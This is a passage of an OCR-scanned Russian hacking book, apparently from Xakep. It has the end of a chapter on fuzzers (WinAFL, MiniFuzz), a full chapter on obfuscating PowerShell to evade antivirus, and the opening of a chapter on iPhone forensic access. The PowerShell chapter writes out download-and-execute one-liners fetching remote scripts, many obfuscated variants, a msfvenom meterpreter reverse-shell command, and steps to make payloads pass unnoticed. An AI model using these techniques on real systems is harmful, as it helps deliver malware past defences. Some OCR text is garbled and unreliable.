можем по дсунуть файл «не правильного » формата и посмотреть , как справится 

с ним подопытная программа . Первое , что приходит в голову , - антивирус. Анти­

вирусный сканер должен определять формат файла, как-то с ним взаимодейство­

вать: пытаться распаковать , включить эвристический анализ и т. д. 

Чем обернется простая проверка , если антивирусный сканер решит , что перед ним 

файл РЕ , у пакованный UPX, а при распаковке выяснится, что это вовсе не UPX, а 

что-то , что лишь притворяется им? Естественно , алгоритм распаковки будет дру­

гой , но поведение сканера при э том предугадать сложно. Может быть, он обрушит­

ся. Может быть, просто повесит на файл флаг « поврежден » и пропустит. И это 

далеко не полный перечень возможных исходов. Фаз зе ры форматов файлов помо­

гут протестировать подобные вещи. 
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Аргументы командной строки 

и переменные окружения 

Зачастую утилитам требуются параметры коман д ной строки: это может быть путь 

файла , аргумент выполнения , да много чего еще. Но что, если передать на вход не­

что , чего программа совсем не ждет? Самый прос то й вариант: если программа про­

сит указать какой-то путь, то вряд ли она всерьез рассчитывает, что путь будет 

состоять из тысячи символов. Вполне возможно , что передача такого аргумента 

«неподготовленному» приложению переполнит стек и вы зовет обрушение . 

Сказанное выше в равной степени относится и к переменным окружения. По сути , 

это почти то же самое, что и фаззеры командной строки , то лько на вход берутся 

параметры не из аргументов , а из одной или нескольких переменных среды окру­

жения. А дальше сценарий приблизительно такой же, как и в с лу чае переполнения 

большим аргументом командной строки. 

Запросы IOCTL 

Достаточно полезная штука, когда нужно посмотреть, как реагируют на запросы 

IOCTL различные драйверы режима ядра. Помимо устройств и периферии, драйве ­

рами зачастую пользуются некоторые программы для взаимодействия с системой . 

Конечно, структура IRР-запроса почти всегда неизвестна , но перехваченные пакеты 

можно использовать в качестве основы для корпуса . 

Сетевые протоколы 

Такие фаззеры бывают заточены по д известные протоколы , но есть и всеядные эк­

земпляры. Например , фаззер OW ASP JBroFuzz (https://www.owasp.org/index.php/ 

JВroFuzz ) тестирует реализации известных протоколов на предмет наличия таких 

у я звимостей, как межсайтовый скриптинг, переполнение буферов, SQL-инъекции 

и многое другое. С д р угой стороны , есть утилита SPIKE (http://www. 

immunitysec .com/downloads/SPIКE2.9.tgz), которая может протестировать незна­

ко мые протоколы на многие уязвимости. 

Браузерные движки 

Да, даже для поиска дыр в браузерах есть специальные фаззеры . На сегодняшний 

день современные браузеры очень сложны и со д ержат множество движков: они 

обрабатывают ра зличные версии документов, протоколов , CSS, СОМ , DOM и мно ­

гое другое. Так что участники различных bug bounty ищут д ыры не только голыми 

руками. 

Оперативная память 

В эту категорию входят достаточно узкоспециализированные фаззеры , используе­

м ы е для модификации данных программ в оперативной памяти. Бывают полезными 
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при тестировании каких-либо динамических антидампов и утилит со встроенной 

защитой. 

Проблема покрытия 

Разумеется, и у фаззеров существуют проблемы : дело в том , что из-за с л ожности 

некоторых программ фаззерам бывает трудно « дотянуться » до определенны х час­

тей кода . Это связано с глубиной вложения или какими-либо другими специфич­

ными условиями исполнения. Разработчики фаззеров пытаются боро т ься с недоста­

точным покрытием кода различными путями. 

Тут на помощь приходит обратная связь , когда фаззер получает информацию о по­

ведении программы благодаря сигнализирующим инструкциям в исполняемом 

файле. Это называется инструментацией и позволяет фаззеру корректировать в х о д 

на следующем раунде , чтобы попытаться улучшить покрытие . 

Но и здесь нас подстерегают различные проблемы: например , когда софт доступен 

только в скомпилированном виде и нет исходных текстов, либо из-за динамической 

инструментации тестируемого приложения сильно проседает производительность, 

либо обработка трассы занимает достаточно много процессорного времени. 

Кроме всего этого, существует простая проблема совместимости с раз л ичными вер­

сиями операционных систем , как Windows, так и *nix. Чем сложнее фаз з ер и чем 

пристальней он смотрит на поток выполнения приложения , тем крепче он привязы­

вается к особенностям ОС . 

Как видишь, фаззеров очень много , и под каждую задачу можно найти специально 

разработанный инструмент поиска уязвимостей. Многие фаззеры написаны под 

*niх-подобные ОС, но есть и такие, которые работают с Windows. Давай поближе 

рассмотрим парочку разнотипных фаззеров: WinAFL и MiniFuzz. 

WinAFL 

WinAFL(https://github.com/googleprojectzero/winafl, рис . 12.1) - э то форк попу­

лярного фаззера AFL (American fuzzy lop, http:/Лcamtuf.coredump.cx/afl/) , порти­

рованный под Windows корпорацией Google. Он использует инстр у ментацию т ес­

товых файлов как статическую , когда есть исходные коды приложения , так и дина­

мическую, когда инструментирование происходит « на лету » . В э том помогает 

библиотека для анализа бинарников DynamoRIO (bttps://github.com/DynamoRIO/ 
dynamorio ). 

Как только что-то пошло не так в исследуемом приложении (например , оно обр у ­

шилось), данные, которые к этому привели, копируются в отдельную папк у дл я 

дальнейшего исследования. У фаззера есть множество опций запуска , д авай рас­

смотрим самые важные: 

□ -i [каталог] - каталог входных тестовых кейсов. Примечательно , что вместе 

с фаззером «из коробки» идет несколько простых тестовых кейсов д ля различ­

ных типов файлов. 
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□ - о [кат а л о г ] - каталог выходных данных, куда будут помещаться ре зультат ы 

раб оты фаз зера. 

□ - D [ к аталог] - опция, которая говорит фаззеру исполь з овать динамическую 

инс трументацию на базе DynamoRlO. Для этого мы до л жны дополнительно ука­

зать к аталог , где установлен этот инструмент. 

□ -У - опция для статической инструментации. 

Рис . 12.1. Фаээер WinAFL 

Если с ди намич еской инструментацией все понятно , то со статической могут воз­

ник нуть проблемы : напри мер , программа instrument.exe, которая призвана инст­

р ументи р овать файлы в Windows, пока еще не понимает после д ние версии Yisual 

Studio SDK и не работает с программами , собранными в Yisual Studio 2019. 

Ког да все готово и файл инструментирован , достаточно выполнить команду 

afl-fuzz . ехе - У - i input - о output -- test . ехе . Эта команда запустит процесс 

поиска уязвимостей для тестовой программы со статической инструментацией. 
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MiniFuzz 

Теперь давай рассмотрим еще один фаззер под названием MiniFuzz (https:// 
msdn.microsoft.com/en-us/gg675011). Он разработан в компании Microsoft и д оста­

точно дружелюбен по отношению к пользователю (да , тут даже есть графический 

интерфейс , рис. 12.2). Также д оступна ин теграция с Visual Studio. 

'V Minifuп 

Та!9"! 

Pnx:ess to fuzz 1 Вmwse 

Commandlne"'9' 1~~•_1 
-----------~' 

t.'!ow p,oc:ess to м, for. Z.O 

Sh.cdo-.n deloy 0.5 ~ sea. ~ 

Т empl,it.e tue.· 

т empo,aly fies С Usets\ \De<ktop'vn;,fuzz\/emo \ 

Crash fies. С : \Uоев \ \ De,kЩ,'vnduzz\aashes \ 

Aggrem,ene.s. 1 Low (5"!;) 

1 Start Fuzщi View 1.оо Dir TFS Se!lngs ... 

# Fuzzedfies· О 

Вmwse 

0 Nways on Тор 

Нф 

х 

Tme Fie Crash 

1 
1 

Рис . 12.2. Фаззер MiniFuzz 

Разработчики рекомендуют делать не менее 100 ООО файлов на каждый файловый 

формат. При этом каждый поданный на вход файл - это отдельная итерация фаз­

зи н га . Следовательно , требуется набор эталонных файлов. Например, если ты ре­

шил протестировать поведение приложения в ходе обработки архивов * .zip, в пап­

ку шаблонов тебе необходимо будет сложить около ста таких файлов-образцов. 

Можно положить и больше , фаззер будет только рад! А вот если положить мень ше , 

то эффе ктивность процесса заметно упадет. 

Далее фаззер случайным образом выбирает файл из этало нного набора и изменяет 

его, посы лая в подопытное приложение. Если при эт ом возникает обру шение , файл 

записывается в папку crashes, где его потом можно будет подробно изучить и выяс­

ни ть, что именно вызвало сбой. Все настройки фаззера х р а нятся в файле 

minifuzz.cfg в формате XML. Немного пробежимся по самым ин тере сным опци ям 

(очевидные я опустил для краткости). 
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□ Command line args - в этом поле можно добавить недостающие параметры 

командной строки , если эти данные нужны во время фаззинrа. 

□ Allow process to run for - определяет время работы экземпляра тестируемого 

приложения . Не след у ет устанавливать маленькое значение, ведь тогда фаззер 

может не у спеть отработать . 

□ Shutdown method - метод завершения запущенного экземпляра тестового 

приложения . Поддерживаются методы ExitProcess (завершает процесс кор­

ректно) , WM_CLOSE (корректное завершение для оконных приложений) 

и TerminateProcess (завершает процесс аварийно). 

□ Aggressiveness - параметр определяет, насколько сильно будут искажаться об­

разцы файлов перед тем , как попадут в приложение . Если ты безуспешно ждешь 

резу л ьтата вот у же долгое время , стоит подумать над увеличением этого значе­

ния. 

Практика 

Для то г о чтобы понять на деле , как именно происходит поиск ошибок при помощи 

WinAFL, мы напишем небольшую тестовую программу , внутри которой будет 

ф у нкция с д ос ту пом по нулевому указателю. Согласись, достаточно распростра­

ненный пример ошибки , от которой не застрахован никто в этом мире. Код , кото­

рый должен упасть (и не отжаться), будет выглядеть примерно так: 

int crash () { 

int *х = NULL ; 

int у = *х ; 

printf ( "%s ", у) ; 

return О ; 

Как именно ее вызывать - тут уже на усмотрение программиста. Я буду переда­

вать в качестве аргумента командной строки «волшебный» параметр, который вы­

зывает функцию по у словию i f (ar gc = 2 && !strcmp (argv [l ] , "key" )) . Кроме 

того , д л я ускорения фаззинrа можно «обернуть» тестируемую функцию в цикл: 

while _afl_persistent_loop ()) 

Управляющая функция цикла находится в файле winafl-master\afl-staticinstr.h, ко­
торый необходимо будет подключить к проекту. Кроме того , это добавит в проект 

диагностические сообщения. 

Как видно на рис. 12.3, файл еще не готов к фаззинrу и WinAFL заботливо напоми­

нает нам , что мы забыли его инструментировать. Давай исправим это следующей 

командой: 

$ instrшnent . exe --mode=afl --input- image=t s t .exe --output-image=instr_crash.exe 



□-- 139 -- □ 

С:\ 1 ·,t-ii:--1J:_,j,.~ tr•_;we,t . ехе · -mode~Ztf 1 inpl1t image,0 ts t. ехе o=Jtp:Jt • in1ЩH' •-instг_ с Pash. еле 

{0509/233344;lblG:applicaticr•_irnpl . h{4t,)J Syzygy Ic1st1'umerter V('r'siun 0.8.32 . 0 (1':I01jbff',\ . 

[0S0912-~:•.J,~'1:Hif0:.aa:,licatiaг1_jrr,,-l.'"'l(43'1J Ccry•~igt--,t (с) Guoglt' !~( . д.:: .. ;~[,•.~- 1,~·~_.1,,:и!. 

[050'.:l/21J}4.4:HtГO : afl_i11strumenter . cc(l28)J Cookie check hovk modc eirdЫed. 

{0SC()')1"'1•:4:HiFO:;:ie_•·eJi1,Y,:•'_t;til.cr(J11·):,J Jnpt,t Р[}В not ~pe:::-ifit'(i, '>o::>dг(f·ir1g f,.:,•- it. 

{0509.'}_~нu.нn=a:~c:>_Гt:>liP!rr1·_uti l .и.(.%]'11 Usiпg .iE>fault output DJЗ r.эtt-: (:\'l\jJ11)!,.>·c.t•· _ гr.-1, 1 ,.r, •.. ;·or, 

[0t,0':)i/ "i.1, ;4д: Hif.0; p':.'_!'t? l iп!rer· . се ( lj8)] lnp~t ,;юaule С\ 1 \OinJ.l\ tst_. <?Xf> 

(05(N/) 1 ~ :,,1-1 · HiЧJ: pe_re l i.111-'er. се (1 ~9) J Input PDB · \User·s \ \~mJ1·ce \ repo5 \t ·c:t' l}e~•- t\ tc, r . r:idrJ 

[0r,01:1/.JBiJ,::INJ:"O:pe_,,r•linker.cc(1<10)] OutpL,t modi.lle : :\1\Ьi1"!~7\i11:;tr~c1·csil е-><'с' 

[ 0~0'1/ l Н ~;~4: Шf-0: pe_.,.elinke,r. и ( 141) J Outpt.Jt PDR С: \1 \hic,j}\in:;tr_ cra~t'. {'>Х•-.'. t"l•1b 

i OS0:1/ 2 ), '. ~.:,~: НН-0: Р·~_,~е} iпke:,1' . ci~ ( S7) 1 Je,:01нposi"'g 'i!Od<Jle: С : \1 \bin32\ts t . ехс· 

f OSO'i '2 3 3 344: lfif О: PL' __ r·el inker. се {72} 1 Rt:>mc,,ir•g padji ~g t,lc,cks . 

f О',09 .1 lJ i )4:,: INfO: ре _ ccU_ i't·l1rkt•1·. t:c ( 80)} Trar,~fot"'ffliпg Ыосk gr'apr-1. 

[05('!'l/2J3344: Пi!=О: ~e~;Jt·i t\:_ ;лоk ie _{ r1eck tюok_ tt'ar,-,form . с.с(&?)) FoiJ,н1 _r·epot·"t _g:,Jdi>J· ,.:; l m:..ilc-11~i1t".Jt. i, 1·, 

f05i 1 ~/2}i)д.l:[NH):nfl_ty'a11sf:ш·m . c((237)] (oJ.1e B1ocks i 11sti·umftr·, t·ed; 61 (f:.']:\.} 

[OSOg/23334.:: Hif'C,: рг_rе 1iпke,,_ut il . r с ( 4.14) J F :i n~l izi ng Ыock-graph for '"( : \ 1 \ЬJ n :1-) \ \'" '· t. Fcxe'' 

(0SOЧ/2JB4.1.: INH):r,e_.coff_r-eUr-lц>r.c:c(Н:10)] Order-ing Ыосk graph . 

{0SйG/}:i;B,1.д:JblO : pe, п,ц !"·1;,J i ~l<er.r:c(H)-1)) No ог,1еrе-rч; "" pecifif>c1, .эrp.J.yir-r, ,Jefaцlt r-rd•"'-'"l"'r- . 

[050<}.'2.~В4.1· HirO : pe=r-eli;kc,·_uti.1. ,.,:.:(458)) 61..,ildir-1g image layos.1t. 

{0~09/2~ 3344: INГO: <Ч" _rc linktч·_ut il. се ( 473) 1 ~i!lal i :ing i~.:ige l<>yoJt. 

{ 0539_.- 2.JJ "1,4~: l!:if"C1 : oe_::ot ..- __ ,·с ~i6c:,,·. с.:. ( 9:)] Т ,-acsfo,·ming 2aycut . 

f0'.i0')/.?]334.1;Hlf0:pe __ ~eliriker.c:::()5)l Hritir;g image: С:' 1\!':•in32\i·Y:>t" cr.:i~t-- . "'xF. 

[050•)/23134..: INFO : p~_"<='linko:1·.a(213)l P.~c1dir:t,t ?08 fil~: C: \llsers\ \s.ci.;1·•~~\rep;,')·,t_:,t\D,:t,t.g\t:,t..oJ!_• 

[050'): 2-:,33~; н;~:о : odb_ mutator . се ( 26)) Api:-1y РОВ mutator •·дdd!nd~xednat.-эR.эr.ge::;St!·eamPdbM.., tatcr 

{0~(N/J)134<1. INFO : oe_гelinkt·1 _..;til . и_(511)j f:iraliziщ~ РОВ file. 

{0~0'J/J1;~~44:Н1FO:pe _ re-liok~r_t;til.cc(7ЧJ} fluilding ОМАР ,.1ectot's. 

{05-0•)/2.~.~)J.4;1"MO:pe_r·elinkt>r.rc(l32)] WPiting the- Р[)В . 

{050'.t/Bi~4-4:mr-o:p.,:,_F·Plinker . cc(l-1-0)] Pf r-1?li nke ,· finishPd . 

C:\l\Ьin3}> . 

Рис . 12 . З . Подготов к а файла к дальнейшей инструментации 

Кроме того , в свойствах компоновщика необхо д имо добавить д ва параметра: 

/PROFILE - включи т поддержку профилирования и /SAFESEH - безопасная 

обработка исключений. Пос ле этого все готово и можно запускать фаззер: 

$ afl - fuzz . exe - У -i in -о out - t 500+ -- - fuzz iterations 10000 --
inst r c rash . exe 

Здесь мы указываем то , что файл статически инструментирован, указываем каталог 

in, где расположены тест - кейсы, и каталог out, где будут сохранены ре зул ьтаты. 

Также до по лнительно сообщаем время ожидания обработки каждой итерации 

(в миллисекундах) и ко личество итераций тестировани я . Процесс работы фаззера 

показан на рис. 12.4. 

Рис. 12.4. Работа фаззера WinAFL 
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Тут стоит напомнить , что фаззинг в реальных условиях может длиться неделями. 

К счастью , у нас все пойдет быстрее. После того как мы обнаружим падение при­

ложения, в каталоге out можно будет найти файлы с именами вида id:000003, 

src:000001, op:flipl , pos:1. Внутри содержится диагностическая информация с по­

яснениями , примерно такими: 

Program received signal SIGSEGV, Segmentation fault . 

Ox0802f36a in crash at tst.c:32 

32 int у= *х ; 

#О Ox0802f36a in crash at tst . c : 32 

crash dump # : 1 

Как видишь , лог подробный , в нем указана и функция crash, и тип ошибки 

SIGSEGV. Это значит , что «волшебный» параметр был сгенерирован фаззером 

верно и все сработало. 

Заключение 

В этой заметке я постарался рассказать , что такое фаззеры, какими они бывают и 

как работают . Как и любая д ругая статья в журнале «Хакер» , это всего лишь вектор 

для дальнейшего развития и самостоятельного изучения (а вовсе не всеобъемлю­

щее руководство) . По этому, вооружившись уже полученными з наниями , ты всегда 

сможешь их приумножить , прово дя собственные эксперименты. 
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13. Обфускация PowerShell. 

~НЕР ....... 

Как спрятать полезную нагрузку 

от глаз антивируса 

Айгуль Саитгалина 

В базах антивирусов содержатся миллионы сигнатур, однако тро яны по-прежнему 

остаются в хакерском арсенале. Даже публичные и всем извест ные вариант ы 

п олезных нагрузок Metasploit, разнови д ностей RA Т и стилеров могут остаться не­

замеченными. Как? Благодаря обфускации! Даже скрипт на PowerShell можно 

спрятать от любопытных глаз антивируса. 

Посмо т ри на э ту строку. Что ты здесь видишь? 

;,, слмсtл , ; , л;лсл л ", ( (( ;, ( ; (sлEt л л солМЗ=лл ;лла n ло)) )))&& ,, ( , Sл Еt л л 

лсолm2=лsллtаллt)&&( ; ( ;; sлетл л сломlл=лn " лле " t)) && , (( ; слаLl , л ;, Sлел Т л л 

fiЛNАlл=л %с 0m1 л%%сл0m2%л%сломзл%))&& ; ( , , (слАlLл , ;, л ; % FiлnAlл %) ) " 

Полагаю - ничего. А ведь это всего лишь команда netstat /ano после обфускации. 

В это й заметке мы постараемся разобраться , как привести команды на PowerShell 

к такому виду , и проверим, как на это среагируют антивирусы. 

PowerShell в хакинге 

Начнем с разговора о самом PoweгShell. Почему именно он часто исп ользу ется при 

взломе? Н у, как минимум потому, что PowerShell - это командная оболочка и не­

слож ный скриптовый я з ык , который используется во всех совреме нных системах 

Windows. К тому же большинство команд исполняется в памяти , что мо же т помочь 

избежать антивирусного детекта. Если на компьютере включе н о удале нное у прав­

ление, то можно получить доступ к системе чере з за шифрованный т рафик . С у щест ­

вуют хорошие инструменты и фреймворки для работы с PowerShell. Также 

PowerShell можно вы зывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, 

.ехе , .dll . 

С помощью PowerShell можно заг ружать ко д и з Интернета (к примеру , 

с pastebln.com) или файла на ПК и испол ня ть его . Для э того используется команд­

лет Invoke-Expression . Вот несколько примеров исполь зо вания. 
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Invoke- Expression - Command ' C: \directory\script.psl' 

' C: \directory\ script . psl ' 1 Invoke-Expression 

Invoke-Expression (New- Object 
System.Net .WebClient) . DownloadStri n g( 'https: // pastebin.com/raw/МКМSQLaP' ) 

Также можно использовать кодировку Base64. Для начала следует закодировать 

команды в Base64: 

[Convert] ::ToBase64String ( [System.Text .Encoding]: :Unicode.GetBytes ( 'Baш к од ' )) 

Перед исполнением нужно будет декодировать их с помощью -EncodeCommand: 

powershell - е RwBlAQALQBQAНIAЬwBjGUAcwBzAA == 

powershell -enc RwBlAНALQBQAНIAЬwBjA GU Acw BzAA== 

powershell - EncodedCommand RwBAНQALQВAНIAЬw BjAGUAcwBzAA== 

Есть куча других интересных трюков с PowerShell. 

Обфускация PowerShell. Прятки с антивирусом 

Процесс обфускации PowerShell не такой уж и сложный, т. к. это скриптовый язык 

и мы работаем со строками , а не с исполняемым двоичным кодом. Пройдемся 

по некоторым методам обфускации. Будем рассматривать все на примере этой 

команды: 

Invoke- Expression (New- Object 
System.Net .WebClient ) .DownloadString( 'https: // pastebin.com /r a w/ МКМSQLaP' ) 

Для начала попробуем убрать System из строки System. Net. WebClient. На выполне­

ние команды это не повлияет, т . к. в функциях .NET писать System необязательно: 

Invoke- Expression (New-Object 
Net .WebClient ) .DownloadS tring('https: //p astebin.c o m/raw/МКМSQLaP' ) 

Посмотрим, что можно сделать еще . URL в нашей команде - это строка . Что мож­

но делать со строками? Правильно - разделять и соединять , а вернее, конкатени­

ровать. Попробуем это использовать: 

Invoke- Expression (New- Object 
Net.WebClient ) . DownloadString ( ' ht ' + ' t '+' ps: '+' // '+'pastebin.c o m / raw /МКМSQ LaP' ) 

Команда отрабатывает точно так же . Теперь попробуем часть команды объявить 

в виде переменной : 

$get = New- Object Net .Webclient ; 

Invoke- Expression 
$get . DownloadString( ' ht ' + ' t '+'ps: ' + ' // '+'pastebin.com / raw / МКМSQLaP' ) 

Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! 

DownloadString, наверное , используется хакерами уже сто лет. Запрячем его и New­

Obj ect среди символов " и -: 

$get = New- Object " 'N'et . 'W ' ebc'l' i 'ent"; 

Invoke-Expression $get ."D' o ' wn'l ' oa'd'Str'in 'g" ( 'ht'+'t'+'ps: '+' 
// '+'pastebin.com / raw /МКМ SQLaP' ) 
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Неплохо замаскировали. Почти непонятно , что это на самом деле. А можно ли ис­

пользовать не DownloadString, а что-то другое для загрузки скрипта или файла? Да! 

Вашему вниманию представляются методы класса Net.Web-Client: 

DownloadString 

DownloadStringAsync 

DownloadStringTaskAsync 

DownloadFile 

DownloadFileAsync 

DownloadFileTaskAsync 

DownloadData 

DownloadDataAsync 

DownloadDataTaskAsync 

Также можно использовать не Web-Client, а другие классы: 

System. Net . WebRequest 

System . Net . HttpWebRequest 

System . Net . FileWebRequest 

System. Net . FtpWeb~equest 

Например , вот как на деле будет выглядеть одна из команд. 

IEX (New- Object System . IO . StreamReader 
( [Net . HttpWebRequest] : : Create ( "$url " ) . GetResponse () . 
GetResponseStream())) . ReadToEnd() ; $readStream . Close () ; $response . Close() 

Продолжим со строками. Перевернем команду задом наперед : 

$reverseCmd = " ) ' PaLQSМКМ/war/moc . nibetsap/ / : sptth ' (gnirtSdaolnwoD . ) 
tneilCbeW . teN tcejЬO - weN( "; 

IEX ($reverseCmd[ - l . . - ($reverseCmd . Length)] - Join '' ) 1 IEX 

Разделим и соединим строку другим способом: 

$cmdWithDelim = " (New- Object 
Net .We~~bClient) . Downlo~~adString( ' htt ps : //pasteЬin . com/raw/МКМSQ LaP' ) "; 

I EX ($cmdWithDelim . Split( "~~ " ) - Join " ) 1 IEX 

Сделаем з амену. 

$cmdWithDelim = " (New- Object 
Net .We~~bClient) . Downlo~~adString( ' https : //pasteЬin . com/raw/МКМSQL aP ' ) "; 

IEX $cmdWithDelim . Replace( "~~ ","" ) 1 IEX 

И снова конкатенируем дру гим способом: 

$cl=" (New-Object Net . We "; $c2="bClient) . Do,-mlo"; 
$c3= " adString( ' https : //pasteЬin . com/raw/МКМ5QLaP ' ) "; 

IEX ( $cl , $с2 , $с3 -Join ' ' ) 1 IEX 

Согласись , на д командой мы поиздевались неплохо. Посмотрим теперь д ругие 

трюк и , которые помогут д оставить полезную нагрузку с использованием cmd. Есть 
один очень извращенный метод заг ру зк и удаленных скриптов через блокнот. Но 

в бою все средства хороши , верно? Подгружаем скрипт с помощью стандартных 

коман д File I О реп и вуаля - он у нас в блокноте (рис. 13 . 1 ). 
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Рис. 13.1. Загрузка кода из Интернета 

Как это все автоматизировать и использовать? С помощью мето д а SendKeys объек­
та WscriptShell, который имитирует нажатие клавиш. Пример по д обного скрипта 

с использованием блокнота представлен ниже: 

$wshell = New- Ob ject - ComObj ect wscript . shel l ; 

$wshell . run ("notepad" ) ; 

$wshell .AppActivate( ' Untitled - Notepad ' ) ; 

Start- Sl eep 2 ; 

$wshell . SendKeys ( ' лo ' ) ; 

Start - Sleep 2 ; 

$wshell . SendКeys ( ht t p : //p astebi n . com/raw/МКМ5Q L aP ) ; 

$wshell . S endКeys ( ' ~ ' ) ; 

Start- Sleep 5; 

$wshell . SendКeys ( ' лa ' ) ; 

$wshell . SendКeys ( ' лc ' ) ; 

Продолжаем играть в прятки. Можно спрятать ар гу менты коман д ы в ро д ительском 

процессе. Интересно , проверяют ли антивирусы их ? 

cmd . exe / с "set cmd=Wri t e-Host SUCCESS - Fore Green&& cmd /с echo %cmd% лl 
powershell -" 
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А нельзя ли использовать не cmd, а что-то д ругое? Например , в некоторых случаях 

cmd можно заме нить на forfiles. Forfiles - это консольная утилита Windows для 

операций с файлами. 

Также cmd можно вызывать не напрямую , а через переменную %COMSPEC%. Запуты­

ваем PowerShell еще больше! В командах вместо знака - можно использовать 

знак / . Например , вот так: 

powershell . exe -п ор - noni - enc 

powershell . exe /пор /noni /enc 

Кажется, наму д рили д остаточно . Можно еще много обсуждать эт и замечательные 

методы. Кому интересно , еще больше методов найдет в презентациях Даниэля Бо­

ханнона (https://www.sans.org/cyber-security-summit/archives/file/summit-archive-
1492186586. pdf, h ttps:/ /conf erence.hitb.org/hitbsecconf2018ams/ma terials/D 1 Т2 
%20-%20Daniel%20Bohannon%20-%20lnvoke-DOSfuscation.pdf). Ну а мы пока 

что посмотрим на написанные им инструменты, которые упростят обфускацию 

и сделают все за нас . 

Автоматизируем обфускацию 

Первый инструмент - lnvoke-OЬfuscation. Это фреймворк для обфускации 

PowerShell , который исполь зу ет разные методы , в том числе и названные в преды­

дущем раз деле. Загружаем архив по ссылке https://github.com/danielbohannon/ 
lnvoke-OЬfuscati on , з апускаем PowerShell. Переходим в папку фреймворка, меняем 

политик у исполнения , если на до, и з апускаем сам фреймворк : 

Set- ExecutionPolicy Unrestricted 

Import- Module . \Invoke- Obfuscation . psdl 

Invoke- Obfuscation 

Работа утилиты показана на рис. 13 .2. 

Для первоначального ознакомления вводи команду tutorial . Для тестирования бу­

дем использовать все ту же коман ду. Посмотрим необходимые опции и уста новим 

нужные: 

s how options 

set scriptЫock Invoke-Expression (New- Object 
System . Net . WebClient) . DownloadString( ' https : //past e bin . com/ raw /МКМ 5QLaP ' ) 

Попробуем использовать конкатенацию . Получаем ре зул ьтат и нашу строку 

(рис. 13 .3 ). 

Также можно закодировать коман ду в АSСП , НЕХ, Octal, Binary, SecureString или 

BXORencodiпg. Нагрузку во з ьмем потяжелее. Например , создадим ее с помощью 

msfvenom: 

msfvenom - р windows/meterpreter/reverse_https -- foпnat psh --out xaker .psl 
LHOST=l92 . 168 . 0 . ll LPORT=B0B0 

Попроб уем исполь з овать Е CONDING и опцию 6. Полученный результат показан 

нарис.13.4 . 
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Рис. 13.2. Фреймворк lnvoke-Obluscation 

Рис . 13.3. Результат обфускации 
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Рис. 13.4. Резуль тат обфускации полезной наг рузки 

Можно использовать в месте конкатенацию , encoding и compress . Попробуй поиг­

раться с разными вариан тами и комбинациями. 

DOSfuscation 

Следующий инстр умент того же автора- lnvoke-DOSfuscation ( рис . 13.5). Скачи­

ваем его , запускаем PowerShell и вводим в папке фреймво р ка команды: 

Import-Module . \ Invoke- DOSfuscation . psdl 

Invoke- DOSfuscation 

Попроб уем обфусцировать ту же полезную нагрузку авто рс тва msfvenom. Установим 

необходимы е опции и используем базовую обфускацию: 

Рис . 13.5. lnvoke-DOSfuscation 



SET СОММАNDРАТН c : \xaker .psl 

Forcode 

Basic Obfuscation 
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По лучаем нашу замас кированную полезную нагрузку (рис. 13 .6). 

Рис . 13.6. Результат обфускации с помощью lnvoke-DOSfuscation 

Реакция антивирусов 

Наст ало время проверить , как реагируют антивирусы на нашу нагрузку с обфуска ­

цией и без . Для теста будем использовать три антивируса: Kaspeгsky, Eset NOD32, 

Windows Defender. 

Первым в бой идет Kaspersky. Проверяем нашу полезную нагрузку msfvenom 

в первоначальн ом виде. КА У даже не дал мне перейти по ссылке для скачивания 

файла xaker.ps 1 ! Но следующие два обфусцированных файла споко йно были запу ­

щены , и ничто не препятствовало загрузке. Однако проактивная защита антивируса 

через некоторое время узнала по пове д ению , что э то наш пейлоад. 

П ереходим к Eset NOD32 и проверяем файлы в том же порядке. Поразительно , но 

он не заметил даже необфусцированный файл . 

Напосле док проверим при помощи Wiпdows Defender. Он не дал запустить первый 

файл без обфускации и сразу удалил его. Второй файл запустилс я спокойно и не 

был замечен. Третий файл за п устился , но во время запуска был обнаружен. 

Примечательно, ч то если конвертировать скрипт в .ехе с помощью утилиты Ps2exe, 

то файлы будут ви д ны большинству антивирусов. 
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Выводы 

Победу в этой игре принесет з нание цели. Если ты знаешь, используется ли анти­

вирус и какой конкретно , то вполне есть шанс обойти его при помощи такого не­

сложного трюка. Также по л е з но з нать версию PowerShell на целевой машине и 

проверять , не сломался ли файл , на ней же. 

Доработать обфускацию ты можешь сам и, комбинируя разные варианты, сделать 

так, чтобы антивирус точно не распознал поведение. Попробуй все методы и затем 

комбинируй ручную обфускацию , способы спрятать нагрузку и рассмотренные 

фреймворки на модели целевой машины. Обязательно должно получиться что-то 

уникальное, что пройдет мимо носа антивируса. В конце концов, все ограничено 

только твоей фантазией! 
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14. Как взломать iPhone. 

Разбира ем по шагам все варианты 

доступа к данным устройств с iOS 

ОлегАфонин 

В этом разделе мы подробно расскажем о том, что происходит с iPho11e в кримина­

листической лаборатории. Мы выясним , насколько реально взломать за щит у iOS 

разных версий и что дл я э того понадобится в разных случаях. Сегодня мы разберем 

этот процесс целиком и постараемся охватить все возможные варианты. 

13 августа 201 8 го да Русская служба Би-би-си сообщила о закупке Следственным 

комитетом аппара т уры для взлома iPhoпe , которая вскроет самый свежий iPl1011e 

всего з а девять минут . Н е веришь ? Я тоже не верю , что такое могло опубликовать 

столь солидное и зда ние , но факт остается фактом . Хочется прокомментировать 

фразу эксперта Дмитрия Сатурченко: « Израильской Cel lebгite для взлома iPhoпe 7 

и ли 8 нужно больше суток, а извлеченные данные требуют серьезной аналитики. 

Magi C нbe обрабатывает тот же iPl1011e за д евять минут, при этом оборудование 

заточено на получение чувствительных данных из мессенджеров , где содержится 

80-90% интересной информации ». 

У неподготов ленного читателя может создаться впечатление, что можно просто 

взять любой iPhoпe и извлечь из него информацию об использовании мессендже­

ров. Это не так по многим причинам . Начнем с того , что MagiCube - дубликатор 

жестких дисков, а мобильные устройства анализирует другой комплекс. iPhoпe то­

же по д ойдет не любой, а работающий строго под управлением iOS 10.0- 1 1.1.2 (т. е. 

ни ра зу не обновлявшийся после 2 декабря 201 7 го д а) . Далее нам потребуется уз­

нать (у пользователя) или взломать (сторонними решениями - GгауКеу или 

Cellebrite) код блокировки. И вот после этого, разблокировав телефон, можно под­

ключать его к китайскому комп ле ксу и извлекать информацию . 

Что же , в конце концов , происходит? Можно ли взломать iPhoпe 7 или 8 за девять 

минут? Действительно ли решение iDC-4501 (а вовсе не MagiCнbe, который явля­

ется всего лишь дубликато ром жестких дисков) превосходит технологии Cellebrite 

и Grayshift? Наконец , как же все-таки можно взломать iPhone? Попробуем разо ­

браться , что же именно закупил Следственный комитет , как и когда это работает и 

что делать в тех 99% случаев , когда комплекс не справляется с задачей. 
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Это зависит ... 

Прежде чем пытаться получить доступ к iPhone, давай разберемся , что и при каких 

